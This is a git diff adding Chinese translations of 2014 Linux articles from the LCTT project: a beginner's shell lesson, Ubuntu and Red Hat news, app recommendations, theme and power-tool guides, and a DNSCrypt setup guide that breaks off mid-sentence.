校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.howtogeek.com/67987/htg-explains-how-do-linux-file-permissions-work/ +[2]:http://www.linux.org/threads/file-permissions-chmod.4094/ +[3]:http://www.howtogeek.com/howto/36845/the-beginners-guide-to-managing-users-and-groups-in-linux/ diff --git a/published/201406/20140612 Command Line Tuesdays--Part One.md b/published/201406/20140612 Command Line Tuesdays--Part One.md new file mode 100644 index 0000000000..29b9dafdc2 --- /dev/null +++ b/published/201406/20140612 Command Line Tuesdays--Part One.md @@ -0,0 +1,62 @@ +命令行星期二 —— 第一篇 +================================================================================ +极客们,我们又回来了!真抱歉让你们久等了,但我保证,我们又回归正轨了。我们满怀热情与大家相约,让我们激情燃烧,寻找刺激吧:) + +现在,整个的想法已经在之前的开场白中告诉你们了,所以现在让我们来干点正事吧。就像肖茨先生书里讲得那样,我们需要来了解一下shell是个什么东西,终端模拟器又是个什么东西,因为我们要在这里头干活。 + +肖茨在他的书中写道,shell实际上是当我们谈论命令行时所谈论的东西。shell基本上一个程序,它将你敲击键盘的动作传递给计算机;它也是某种形式的翻译器,将你所讲的东西翻译给计算机听。在这世界上活着的shell真是五花八门,但是活得最好的要数**bash**了,它在GNU/Linux中随处可见。我们也叫它Bourne Again Shell,这是一个精巧的双关语,因为自从Bourne先生创造了它的祖先**sh**后,Brian Fox又把它重写成为一个自由的sh替代品。啊哈!GUN人和他们的幽默,真的很精明。:) + +![](http://paste.opensuse.org/images/54535272.jpg) + +接下来我所需要,是一个让我们能和shell交互的东西,它就是终端模拟器。每个Linux发行版都自带了一个,至于长什么样就得看你使用的桌面环境了,可能是KDE的**Konsole**,也可能是Gnome的**Gnome terminal**等等。肖茨先生说了,你可以挖掘出你所偏爱的一个,但是大部分时间我还是用桌面环境给我提供的那个吧。 + +现在来发动你的终端。打开后,你会见到一行字,这行字告诉你用户名和机器的主机名,它叫作shell提示符。它告诉你它准备好了,你可以输入命令了。让我们来随便玩玩,随便输入点什么东西进去,然后敲回车看看。 + +呵呵,还记开篇我们讲过,我们需要像学诗歌一样来学习命令吗?记得就好,随意乱来可干不了啥事。 + +现在,按那个上箭头,你会发现命令又回来了。这是啥魔法?你键盘上的上箭头用来取出历史命令。终端会保存总计500个你输入过的命令,所以别一次又一次地重复敲它们了,你可以用上/下箭头来查找它们。左右箭头用来在指定行中移动光标,这样你就可以在文本中编辑或者插入了。另外注意,想用**ctrl+v**来粘贴文本是不行的。你可以在某个地方将它设置成快捷键,但是它常常不是那么回事。检查你的模拟器的快捷键!(在Konsole中,它位于设置 > 配置快捷键) + +现在,为了我们不再被‘命令找不到’抽一巴掌,让我们试试一些简单的。敲个**date**来试试。(是的,我不知道有这么个命令,这真着实让我兴奋了一把):) + +![](http://paste.opensuse.org/images/7123365.png) + +你又来了。当你能打开终端并输入date命令来查看日期时,为什么在时钟中看看内建日历会让你不胜其烦 :) 只是开个玩笑。就像肖茨书里写的那样,它确实是个简单的命令,更有用也更复杂的命令会在以后介绍。跟date相关的命令是cal - 它会显示当前月的日历。 + +你也可以试试**df**,它会列出你驱动器上的空闲空间。 + +![](http://paste.opensuse.org/images/44662534.png) + +或者试试**free**来显示空闲内存: + +![](http://paste.opensuse.org/images/44548116.png) + +如果你已经跟上了敲击键盘的节奏,你可以输入**exit**命令来关闭终端模拟器了,而不是去点击那个x了。 + +嗯,本周我们就到此为止吧,免得有太多的要学的东西来占据你紧巴巴的日程了。下面来个小结(你可以把结论写下来,做个备份吧),在这一篇中,我们学习了: + +- 什么是shell +- 我们需要用什么来和shell交流(终端模拟器) +- 使用光标按钮来驾驭终端命令以及退出终端 + +四个简单的命令: + +- **date** – 显示当前日期 +- **cal** – 显示当前月份的日历 +- **df** – shows the amount of free space on your hard drives +- **free** – amount of free memory + +### 下周二我们将会做什么呢? ### + +我们会学习在文件系统中导航(bin、etc等等这所有的文件夹都是些什么东西?它们用来干什么?怎样通过终端来浏览它们)。到那时…… + +### 你就有得乐了! ### + +![](http://paste.opensuse.org/images/40949666.jpg) + +-------------------------------------------------------------------------------- + +via: https://news.opensuse.org/2014/06/10/command-line-tuesdays-part-one/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201406/20140612 Dpkg Vulnerabilities Closed in Ubuntu 14.04.md b/published/201406/20140612 Dpkg Vulnerabilities Closed in Ubuntu 14.04.md new file mode 100644 index 0000000000..8285809c1a --- /dev/null +++ b/published/201406/20140612 Dpkg Vulnerabilities Closed in Ubuntu 14.04.md @@ -0,0 +1,25 @@ +Ubuntu 14.04中Dpkg的漏洞已被修复 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Dpkg-Vulnerabilities-Closed-in-Ubuntu-14-04-446282-2.jpg) + +**Canonical宣布存在于Ubuntu 14.04 LTS,Ubuntu 13.10,Ubuntu 12.10,Ubuntu 12.04 LTS以及Ubuntu 10.04 LTS操作系统中的dpkg漏洞已经被修复。** + +Canonical公司刚刚放出dpkg包的一个更新,修复了这个用于所有Ubuntu版本的重要软件中的一个问题。 + +“我们发现这个问题出现在dpkg在解压源码包的时候,它会使dpkg不能正确地处理某些补丁。如果一位用户或一个自动化系统被欺骗而解压了特别修改过的源码包,远程攻击者就能修改目标解压路径之外的文件,导致拒绝服务攻击或潜在的获取系统权限的风险。”安全通知中这样写道。 + +想了解这个问题的更多细节描述,你可以查看Canonical的[安全通知][1]。Canonical建议用户尽快升级自己的系统。 + +如果你将各个发行版系统的libdpkg-perl包升级到最新版本即可修复这个漏洞。要安装这个更新,你只需运行更新管理器/软件更新器即可。 + +一般来说,一个普通的系统更新就可以完成所有必需的改动,用户不必重启PC或笔记本来应用这个补丁。这个更新同样可以在终端中实现,只需使用 apt-get dist-upgrade 命令。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Dpkg-Vulnerabilities-Closed-in-Ubuntu-14-04-446282.shtml + +译者:[alim0x](https://github.com/alim0x) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.ubuntu.com/usn/usn-2242-1/ diff --git a/published/201406/20140616 How To Install Numix Icon Theme In Fedora 20.md b/published/201406/20140616 How To Install Numix Icon Theme In Fedora 20.md new file mode 100644 index 0000000000..e21aff39d7 --- /dev/null +++ b/published/201406/20140616 How To Install Numix Icon Theme In Fedora 20.md @@ -0,0 +1,45 @@ +Numix图标主题张冠李戴,Fedora 20劲爆酷爽 +================================================================================ +[Numix主题][1]现在已经风行了有一段时间了,我想我们大多数人都知道它。在上一篇稿子中,我们已经讨论了[在Manjaro Linux上安装Numix主题和其它社区分支][2]。 + +今天,我们打算在Fedora 20上搞点相同的花样出来。 + +我们首先需要安装**fedy**,这个东西将帮助我们一起来干这事。如果你现在还没在你的Fedora系统上安上Fedy,那么[追随我们前一教程的脚步来安装它][3]。 + +### 安装Numix主题 ### + +打开终端,把下面的命令跑一遍吧(确定你已经安装了fedy了吧)。 + + sudo fedy -e numix_themes + +![sudo fedy -e numix_themes](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/sudo-fedy-e-numix_themes.png) + +### 安装Gnome优化工具 ### + + sudo yum install gnome-tweak-tool + +启动Gnome优化工具: + +![Gnome_Tweak_tool_launch](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/Gnome_Tweak_tool_launch.png) + +现在修改外观设置下的所有设置,把他们全都指向Numix吧,就像下面的图表中那样。 + +![Numix_apply_done](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/Numix_apply_done.png) + +你已经搞定了! + +![Fedora 20 Numix Enock Seth](http://180016988.r.cdn77.net/wp-content/uploads/2014/06/Fedora-20-Numix-Enock-Seth.png) + +尽情爽吧! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/install-numix-icon-theme-fedora-20/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://numixproject.org/ +[2]:http://www.unixmen.com/install-numix-icon-theme-manjaro-linux/ +[3]:http://www.unixmen.com/tweak-fedora-system-using-fedy/ diff --git a/published/201406/20140616 Ubuntu Desktop Next 14.10 Images Available to Download.md b/published/201406/20140616 Ubuntu Desktop Next 14.10 Images Available to Download.md new file mode 100644 index 0000000000..3ba634f919 --- /dev/null +++ b/published/201406/20140616 Ubuntu Desktop Next 14.10 Images Available to Download.md @@ -0,0 +1,39 @@ +运行Unity 8的Ubuntu镜像已可下载测试 +================================================================================ +![ ](http://www.omgubuntu.co.uk/wp-content/uploads/2014/05/1.jpg) + +*运行在平板上的Unity 8 * + +**出乎意料,默认使用Unity 8和Mir的Ubuntu 14.10 桌面版,[现已可下载了][1]** + +根据[上个月的讨论][2]Ubuntu 14.10镜像计划提供单独的Unity 8桌面。 提供此镜像目的是给开发者和测试人员提供一个了解从传统界面到使用两种新技术的界面的变化的手段。 + +此镜像并不用于普通用户测试。这个版本会并将会是极不稳定而充满bug的,在十月之前还会不断有变动。所有想要一个完美的、可用的或统一的的桌面的人都会失望,因为这个Unity 8桌面版镜像现在用的是平板的UI。 + +### 工作进行中 ### + +为Mir和Unity 8建立完备的窗口管理特性的工作正在进行中。同样的,在桌面显卡完全兼容Mir之前,硬件支持和用户体验之间还相距甚远,而且还不支持虚拟机。 + +桌面Unity 8界面将开始融合平板UI,用户会提出界面与原来相差太大的问题,对此详见Ubuntu的创始人Mark Shuttleworth最近的视频的问答模块。 + +这是个好消息,微软在桌面Windows8上强加了平板界面和为触摸屏设计的UI。结果被骂的不轻,不得不总是进行"改进"——在你吐槽后才让步,来对付投诉。 + +### 下载Unity 8桌面版本 ### + +按计划标准的Ubuntu 14.10预定在10月23日发行稳定版,其继续基于 X.Org,Compiz和Unity 7。而运行在Mir的Unity8则预计在2016年4月的下一个 LTS之前成为新的的默认桌面。 + +此版本还不具有可用性,下方链接的镜像只是为了协助开发人员测试和完善,并不能让你穿越体验到未来的Ubuntu。 + +- [下载下一代Ubuntu14.10 (.iso)][3] + +-------------------------------------------------------------------------------- + +via:http://www.omgubuntu.co.uk/2014/06/unity-8-daily-build-images-go-live + +译者:[2q1w2007](https://github.com/2q1w2007) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://blueprints.launchpad.net/ubuntu/+spec/client-1410-unity8-desktop-iso +[2]:http://www.omgubuntu.co.uk/2014/05/ubuntu-unity-8-desktop-flavour-discussed +[3]:http://cdimage.ubuntu.com/ubuntu-desktop-next/daily-live/current/ diff --git a/published/201406/20140616 Ubuntu for Phones Activated on 10,000 Devices.md b/published/201406/20140616 Ubuntu for Phones Activated on 10,000 Devices.md new file mode 100644 index 0000000000..518da4deb2 --- /dev/null +++ b/published/201406/20140616 Ubuntu for Phones Activated on 10,000 Devices.md @@ -0,0 +1,29 @@ +手机版Ubuntu在第10,000台设备上被激活 +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/Ubuntu-for-Phones-Activated-on-10-000-Devices-446824-2.jpg) + +**Canonical公司日前宣布手机版Ubuntu操作系统在第10,000台设备上被激活,这是一个重要的里程碑。** + +手机版Ubuntu项目于2013年初公布,开发团队之后就一直在上面工作。他们花了一些时间才拿出一个可用的版本,之后在这个基础上不断地改善。 + +这个10,000台里程碑之所以重要,是因为公司本身并没有销售任何装载这款操作系统的设备。到目前为止,只有Nexus用户(手机或平板)才可以安装它。这对于一个只提供下载的操作系统来说意义重大。 + +“Ubuntu手机/平板用户需要在他们的设备上登录Ubuntu One账号,才可以下载或更新应用。这就让我们可以为用户提供许多从Android或iOS借鉴过来的功能,例如在新手机上或是手机重置之后自动重新安装所有应用,或是浏览商城网站(很快发布)时可以选择直接安装应用到设备上。” + +“这个功能的另外一个效果是,它可以让我们知道有多少唯一的Ubuntu One账号登陆过商城来下载应用,而这个数字在本周突破了10,000的记录。”科能公司的Michal Hall[说][1]。 + +目前,用户不需要在Nexus设备上删除Android,因为可以支持双启动,而且还有好几种方式。而预装Ubuntu系统的设备将在今年晚些时候出货,希望赶在假日旺季之前,社区成员已经有非常高的热情了。 + +Canonical公司还建立了一套Ubuntu SDK来帮助开发者为这个新操作系统开发应用,而且已经有很多从其他平台移植的原生应用了。它们还没做好,但是离正式发布还有几个月,还有大量时间来准备足够数量的原生应用,不仅仅是替代的网页应用。 + +如果你有Nexus 4手机或是Nexus 7平板,你现在就可以在上面安装Ubuntu。细节上仍然还有些粗糙,但是你会发现你已经熟悉的设备会变得大不一样,请多花点时间,然后你会喜欢它的。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Ubuntu-for-Phones-Activated-on-10-000-Devices-446824.shtml + +译者:[zpl1025](https://github.com/zpl1025) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://developer.ubuntu.com/2014/06/10000-users-of-ubuntu-phone/ diff --git a/published/201406/20140617 14 Apps To Boost Ubuntu.md b/published/201406/20140617 14 Apps To Boost Ubuntu.md new file mode 100644 index 0000000000..943eddf5d5 --- /dev/null +++ b/published/201406/20140617 14 Apps To Boost Ubuntu.md @@ -0,0 +1,82 @@ +14个可以提升Linux桌面体验的应用程序 +============================== + +转战到Ubuntu,或者是别的流行的Linux发行版,不仅仅是操作系统的操作方式的改变,更多的是你还需要一些能支持你完成工作的好的应用。 + +在这篇文章中,我将分享一些我精选出来不可或缺的应用程序,并谈谈在我的日常工作中如何有效地使用它们。 + +### 日常使用的应用程序 ### + +一般当说到Linux桌面上的应用,我总是将这些应用划分为两大类,频繁使用的和一些别的应用。下边我为大家介绍的是一些自己日常使用的应用。 + +1) **Firefox** — 有时我也会使用用其他的浏览器,但最近[火狐浏览器][1]已经成为我可以长期信赖的朋友。可靠的、 安全的、 跨平台的,火狐浏览器完全满足了我的日常冲浪需求。 + +除了访问书签和网页,我还依靠火狐浏览器来处理我的各种部署在局域网服务器上的工作,如 [Plex][2], [Zoneminder][3], 路由器/WEB应用防火墙, 及我的文件服务器。所有这些均可以使用火狐浏览器进行访问。 + +2) **Parcelite**— 如果没有一个像样的剪贴板管理器我简直没法开始工作,至少对我来说,你无法找到在GNOME 下的[Parcelite][4]有什么不足。使用简单,易于访问而且它提供了很多的有用的选项。Parcelite选项应有尽有,包括了从热键设置到空格处理方式。尽管已经有很多的剪贴板管理器,但它们却很难击败 Parcelite。 + +3) **Bittorrent Sync** — 我已经使用过了各种开源替代方案进行文件同步,但是他们在正式发布之前还需要进行进一步开发。应该说[Bittorrent Synchas][5]从来没有让我失望过。它运行和安装都很简单和方便,这多亏了新的GUI的实现,而且 Bittorrent Sync 允许我快速地从一台机器到另外一台机器传输巨大的视频文件,而无需浪费时间去将大量的文件同步到“云端”。 + +我还发现它是与别人分享大型文件的最佳方法,在分享的同时能一直保持 IP 地址和目录的隐蔽。尽管有许多的替代品,我仍然坚定地成为了Bittorrent Sync的骨灰粉丝。 + +4) **System Monitor** — 因为TOP实在是滚动地太快了,所以我个人更喜欢一个具有选项卡式的 GUI,因为它能够让我的眼睛更轻松些。使用 GNOME 的系统监视器,我可以很快地发现一个失控的进程,并且轻松地kill掉它而不需吹灰之力。与[TOP][7]这样的终端程序不同的是,我可以实时的以图形化的方式去查看我的 CPU、 内存和磁盘的使用情况。作为一个拥有正常视觉的人,很难找到一个比用条形图来展示我还拥有多少的空间的更好方式。当然这也同样适用于其它的实时资源使用情况的监视。 + +5) **PulseAudioControl** — 每一天,我总是需要在多个声音设备之间来回穿梭。有时我需要将其中一个设为默认设备,然后却可能会从火狐浏览器音频完全切换到到另一个设备。因为我想控制我的尽可能多的音频,然后我就发现 [PulseAudioControl][8]是一个无价的工具。 + +### 一些别的软件 ### + +在本节中,我将分享我使用,但可能并不一定是每天都使用的应用程序。许多这些应用程序都是开放源代码的,有一些不是,但是它们对我个人都非常具有价值。 + + +6) **Skype** — 无论是拨入[Jupiter Broadcasting][9] 收听每周共同主持的播客,或者只是简单联系一个业务,[Skype][10] 见证了互联网视频会议的发展史。测试完成无数的替代品后,我总是会发现自己还是终回到了Skype。即使有真的很棒的开源选择像[Ekiga][11] 和 [Jitsi][12],而在最后Skype总是与大家同在 —— 切换到Skype是一件很幸运的事。 + +7)**Kdenlive** — 我使用两个不同的视频编辑器,当我要处理一个需要大量编辑的视频剪辑项目的时候,[Kdenlive][13]是我用于图片合成和编辑大型的复杂的视频的工具。我已经成功地在 Kdenlive 里边做过6个素材轨道的编辑,但同样的负载量早已经让别的视频剪辑软件崩溃了。 + +8)**OpenShot** — 大多数情况下,我会将[OpenShot][14]作为视频剪辑任务的首选神兵利器。快速的编辑和两个素材轨道工作区让你可以流畅而操作简单。我还发现它提供了很棒的无与伦比的特效。调制标题效果和超赞的的视频转场效果使OpenShot在我自己的视频项目上成为一款超棒的视频制作软件。 + +9)**SpiderOak** — 在使用了无数云备份服务这么多年后, [SpiderOak][15] 已经成为了我的至爱。易于安装和使用,我超喜欢它所提供的增量选项而且使用起来是如此的简单。只需一次设置,不再操心,之后SpiderOak将会挑起你的文件搬运大任。 + +10) **Dropbox** — 许多年来,我已经与[Dropbox][16] 爱恨交织。尽管它的跨平台特性这意味着我可以从任何位置访问文件,我慢慢地发现我自己越来越少依赖这个基于云计算的备份解决方案。尽管如此,它允许我从任何 web 浏览器中访问文件,即使是从我不经常使用的计算机,这使得抛弃 Dropbox 更是难上加难。 + +11) **Writer** — 自从我第一次在Windows的OpenOffice里面使用过它之后,我一直都在使用[Writer][17]。今天,我使用LibreOffice 所带的Writer来满足我的需求,它可以做一切一个文字处理器可以做的事情。现在,公正地说,一些专有的办公套件可能会提供附加功能在Writer中是没有的,但是99%的人需要的功能在Writer这里都有。就我个人而言,我会永远是一个LibreOffice Writer粉。 + +12)**SimpleScreenRecorder** — 多年来,我发现自己使用 [SimpleScreenRecorder][18]远超过其他同类软件,它能很好支持多监视器模式,再加上它甚至可以捕获基于 OpenGL 的应用程序的视频。易于使用和可靠的 SimpleScreenRecorder 让我的工作更加得心应手。我把它推荐给那些只是偶尔需要,懒得使用其它屏幕捕捉软件的同学们。 + +13)**SimpleScan** — 当我需要扫描文档的时候,我一点都不想将大把大把的时间花费在配置的臃肿的程序上。 [Simple Scan][19] 可以在这方面做得很好。智能的SANE扫描数据库,Simple Scan将与市面上的任何扫描仪或多功能一体打印机/扫描仪很好的进行协作。此外还有一点好处就是它会设置成的最佳分辨率,当然你还可以很方便手动调整任何你需要的设置。 + +14)**Baobab**(磁盘使用分析器) — 我不断听到关于如何硬盘价格已回落。这或许没错,但现实却是我却囊中羞涩。这意味着我需要充分利用我能利用的所有硬盘空间,为了实现这个目的,我使用 [Baobab][20] 来观察我在我的硬盘上的可用空间,而且还可以直观地看到到底是哪一个目录正在蚕食我宝贵的硬盘空间。 + +### 真正的具有生产力的软件 ### + +谈到我所依赖的这些软件,我们真正关心的是他们能为我们完成什么样的任务,而不是它们所拥有的光辉头衔和自身的许可证。linux不需要软件的传奇时代早已过去。多数的计算机上的工作,除了有限的几个例外,大都可以在linux桌面上轻松地如我所说的那样完成。 + +很明显有一些对于你来说是必不可少的软件,但是也许不是我必须用的。你所倚重的软件是什么?您可在下方进行评论并与我们的读者进行分享那些优秀的软件。 + +------ + +via: http://www.datamation.com/applications/14-apps-to-boost-ubuntu-1.html + +译者:[owen-carter](https://github.com/owen-carter) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.mozilla.org/en-US/firefox/new/ +[2]:https://plex.tv/ +[3]:http://www.zoneminder.com/ +[4]:http://parcellite.sourceforge.net/ +[5]:http://www.bittorrent.com/sync +[6]:https://help.gnome.org/users/gnome-system-monitor/3.12/ +[7]:http://linux.about.com/od/commands/l/blcmdl1_top.htm +[8]:http://freedesktop.org/software/pulseaudio/pavucontrol/ +[9]:http://en.wikipedia.org/wiki/Jupiter_Broadcasting +[10]:http://www.skype.com/en/download-skype/skype-for-linux/ +[11]:http://ekiga.org/ +[12]:https://jitsi.org/ +[13]:http://www.kdenlive.org/ +[14]:http://www.openshot.org/ +[15]:https://spideroak.com/ +[16]:https://www.dropbox.com/ +[17]:http://www.libreoffice.org/discover/writer/ +[18]:http://www.maartenbaert.be/simplescreenrecorder/ +[19]:https://launchpad.net/simple-scan +[20]:http://www.marzocca.net/linux/baobab/baobab-getting-started.html \ No newline at end of file diff --git a/published/201406/20140619 Improve Battery Life with Laptop Mode Tools 1.65.md b/published/201406/20140619 Improve Battery Life with Laptop Mode Tools 1.65.md new file mode 100644 index 0000000000..c0b86bc475 --- /dev/null +++ b/published/201406/20140619 Improve Battery Life with Laptop Mode Tools 1.65.md @@ -0,0 +1,31 @@ +用笔记本模式工具1.65来延长电池续航能力 +================================================================================ + +![](http://i1-news.softpedia-static.com/images/news2/Improve-Battery-Life-with-Laptop-Mode-Tools-1-65-447397-2.jpg) + +笔记本模式工具是一个Liunx电源管理工具包,它可以让用户以多种方式延长笔记本电池续航能力,现在它已经升级到1.65。 + +笔记本模式工具的发布的版本曾经很少而且间隔很长,但开发者在最新的版本中做了一些很有意思的改变,虽然此次更新与以前不同。 + +根据更新日志,grep找不到$device/uevent的错误已得到修复、 sysfs/enabled已被"ip link down"所取代、 添加了对iwlwifi的支持,运行时电源管理框架现在更健壮,并且usb-autosuspend模块已被去除。 + +此外,当笔记本电脑恢复时,笔记本模式工具将强制以初始化模式运行,最新版本已添加英特尔 PState 驱动程序的模块,并已实现挂起/休眠接口。 + +用户不须更改自动设置。更改自动设置可能会导致更多的问题,但通常看来他们总是会去动它。此外,要注意到每个功能究竟是做什么的,否则你可能会搞出更多问题。 + +看官方[公告][1]来了解更多细节。 + +现在就下载用笔记本模式工具1.65: + +- [http://samwel.tk/laptop_mode/packages][2] + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Improve-Battery-Life-with-Laptop-Mode-Tools-1-65-447397.shtml + +译者:[2q1w2007](https://github.com/2q1w2007) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://launchpad.net/laptop-mode-tools/+announcement/12779 +[2]:http://samwel.tk/laptop_mode/packages diff --git a/published/201406/20140619 Red Hat to Acquire eNovance, Focus Together on OpenStack.md b/published/201406/20140619 Red Hat to Acquire eNovance, Focus Together on OpenStack.md new file mode 100644 index 0000000000..88ef29adb0 --- /dev/null +++ b/published/201406/20140619 Red Hat to Acquire eNovance, Focus Together on OpenStack.md @@ -0,0 +1,31 @@ +红帽携手eNovance,共进OpenStack市场 +================================================================================ + +![](http://farm4.static.flickr.com/3108/3191608123_67e1da2b79_o.jpg) + +正在OpenStack峰会于亚特兰大举办的同时,红帽确认了数项与OpenStack相关的项目。其中一项是,红帽正与开源云计算市场的领导者eNovance进行[合作][1] 。双方将推动网络功能虚拟化(Network Functions Virtualization)及将电信功能融入OpenStack中。红帽[宣布][2]将以七千万欧元或九千五百万美金的现金和股票投资eNovance。 + +eNovance 是OpenStack市场上重要的角色, 特别以其和电信公司的合作而为人所知。eNovance帮助服务提供商和大型私企搭建部署云基础架构,快速且成本低廉。这也将为红帽开创新的产品线。 + +IDC 分析员 Laura DuBois 和 Ashish Nadkarni 在2014春季OpenStack 峰会上指出 “像eNovance这样的集成商将继续助力云服务提供商和企业,建立OpenStack云。OpenStack的前景开起来十分光明。" + +eNovance 是OpenStack十大上游贡献者之一, 也是OpenStack 基金唯一的欧洲金牌合作商。 该公司在全球有超过150家客户,包括 Alcatel-Lucent、 AXA,、 Cisco、 Cloudwatt 和 Ericsson. 在巴黎、蒙特利尔、班加罗尔、印度,都设有办公室。 + +2013年,红帽和 eNovance 第一次展开[合作][3] ,为其共同客户提供OpenStack 部署和集成服务。该服务基于Red Hat Enterprise Linux OpenStack 平台。 今年五月的OpenStack峰会上, 两家公司宣布了[进一步的合作][4] ,推动网络功能虚拟(NFV) 和电信在OpenStack上的创新,意在提供业界最完整、电信级的 通讯服务,基于Linux、内核级虚拟机 (KVM)和 OpenStack。 + +eNovance的联合创始人、首席执行官Raphaël Ferreira, 在声明中说: + +> “和红帽一样,eNovance也认为部署和集成OpenStack已成趋势,这是企业市场上的变革力量。 我们非常高兴能成为红帽的一部分。红帽不仅仅提供一流的OpenStack发行版本,也和我们一样坚信: 最好以连续、无缝的方式部署、集成OpenStack。” + +-------------------------------------------------------------------------------- + +via: http://ostatic.com/blog/red-hat-to-acquire-enovance-focus-together-on-openstack + +译者:[tengpeng](https://github.com/tengpeng) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.redhat.com/about/news/press-archive/2014/5/red-hat-and-enovance-to-deliver-carrier-grade-openstack +[2]:http://www.marketwatch.com/story/red-hat-to-acquire-enovance-a-leader-in-openstack-integration-services-2014-06-18 +[3]:http://cts.businesswire.com/ct/CT?id=smartlink&url=http%3A%2F%2Fwww.redhat.com%2Fabout%2Fnews%2Fpress-archive%2F2013%2F11%2Fred-hat-and-enovance-partner-to-accelerate-adoption-of-red-hat-enterprise-linux-openstack-platform&esheet=50888828&newsitemid=20140618005543&lan=en-US&anchor=first+partnered+in+2013&index=1&md5=1721061ca22652d2a4413085db70361b +[4]:http://cts.businesswire.com/ct/CT?id=smartlink&ppppppppt-pt-lopppppppppptpt-lpt-pt-locapt-pt-ptptppptppppt-ptptptppp \ No newline at end of file diff --git a/published/201406/20140620 Celebrating 30 Years of X.md b/published/201406/20140620 Celebrating 30 Years of X.md new file mode 100644 index 0000000000..9466266aea --- /dev/null +++ b/published/201406/20140620 Celebrating 30 Years of X.md @@ -0,0 +1,34 @@ +X 窗口系统已经30岁了! +================================================================================ +X.org基金会很自豪地宣布一个特别的日子:30年前,1984年六月19日,Bob Scheifler发布了X窗口系统。 + +有关X窗口系统的介绍参见: [https://en.wikipedia.org/wiki/X11#Introduction][1] + +在这30年中,X作为UNIX桌面无处不在。在今天,数以百万计的用户使用着桌面环境如GNOME,KDE,Xfce,Unity,Enlightenment等等,而这些都使用X作为其底层技术。 + +X的开发者们做出了巨大的突破,把X从原本为VAX VS100 CPU编写的一个程序发展成为在今天可在笔记本电脑上进行3D渲染的图形用户界面。事实上,X的出现早于图形处理单元(GPU)概念的出现,甚至是比推广这项技术公司——于1999上市的Nvidia更早。 + +![](http://static.cnbetacdn.com/newsimg/2014/0620/77_1403265316.png_600x600.png) + +尽管X已经服务了很长时间,但是X仍将做出改进并继续陪伴我们。 + +请不要感到惊奇, X的出现早于: + +- Linux, FreeBSD, NetBSD, OpenBSD, Solaris, Microsoft Windows +- POSIX, C89, C99, C++, Java +- 互联网 +- GPL 和 FSF + +X是第一个主要的开源软件项目,比Free Software 和 Open Source Software更早。和我们一起庆祝吧,因为没有X,桌面就不会是今天这个样子。 + +- X.Org 品牌总监 + +-------------------------------------------------------------------------------- + +via: http://comments.gmane.org/gmane.comp.freedesktop.xorg.announce/2177 + +译者:[2q1w2007](https://github.com/2q1w2007) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://en.wikipedia.org/wiki/X11#Introduction diff --git a/published/201406/20140620 ENCRYPT DNS TRAFFIC IN LINUX WITH DNSCRYPT (VIA OPENDNS).md b/published/201406/20140620 ENCRYPT DNS TRAFFIC IN LINUX WITH DNSCRYPT (VIA OPENDNS).md new file mode 100644 index 0000000000..f46c2ad7de --- /dev/null +++ b/published/201406/20140620 ENCRYPT DNS TRAFFIC IN LINUX WITH DNSCRYPT (VIA OPENDNS).md @@ -0,0 +1,69 @@ +使用DNSCrypt来加密您与OpenDNS之间的通信 +================================================================================ +**正如SSL能将HTTP通信变为加密过的HTTPS通信,DNSCrypt, 物如其名, 是一款能加密您电脑与OpenDNS之间的通信的小神器。** + +DNSCrypt刚问世的时候,官方公布它只是一款Mac才能用的工具,但根据最近一篇由OpenDNS发的[文章][1]表明,虽然还没有用户界面,但其实当Mac版DNSCrypt推出的时候源码已经放到了Github上了, Linux的用户也可以安装以及使用哦! + +### 为神马要使用 DNSCrypt? ### + +**DNSCrypt可以加密您电脑与OpenDNS服务器的所有通信,加密可以防止中间人攻击,信息窥觑,DNS劫持。更能防止网络供应商对某些网站的封锁。** + +这是世界上第一款加密DNS通信的工具,虽然TOR可以加密DNS的请求,但毕竟它们只是在出口节点加密而已。 + +> 这款工具并不需要对域名或其工作方式做任何的改变,它只是提供了个该工具的用户与机房里的DNS服务器之间的加密方式而已。 + +您可以在[GitHub][3]的[OpenSND DNSCrypt][2]页面阅读更多的相关信息。 + +### 如何在Linux使用DNSCrypt ### + +首先下载安装[Download DNSCrypt][4], 然后在Terminal里输入这个命令: + + sudo /usr/sbin/dnscrypt-proxy --daemonize + +![](http://4.bp.blogspot.com/-WLefdXHIzwg/Tz45kGKAZdI/AAAAAAAAH0k/KLBnWJom6-g/s1600/edit-network.png) + +然后把您的DNS服务器调成"127.0.0.1" - 在GNOME界面下的话,只要到Network 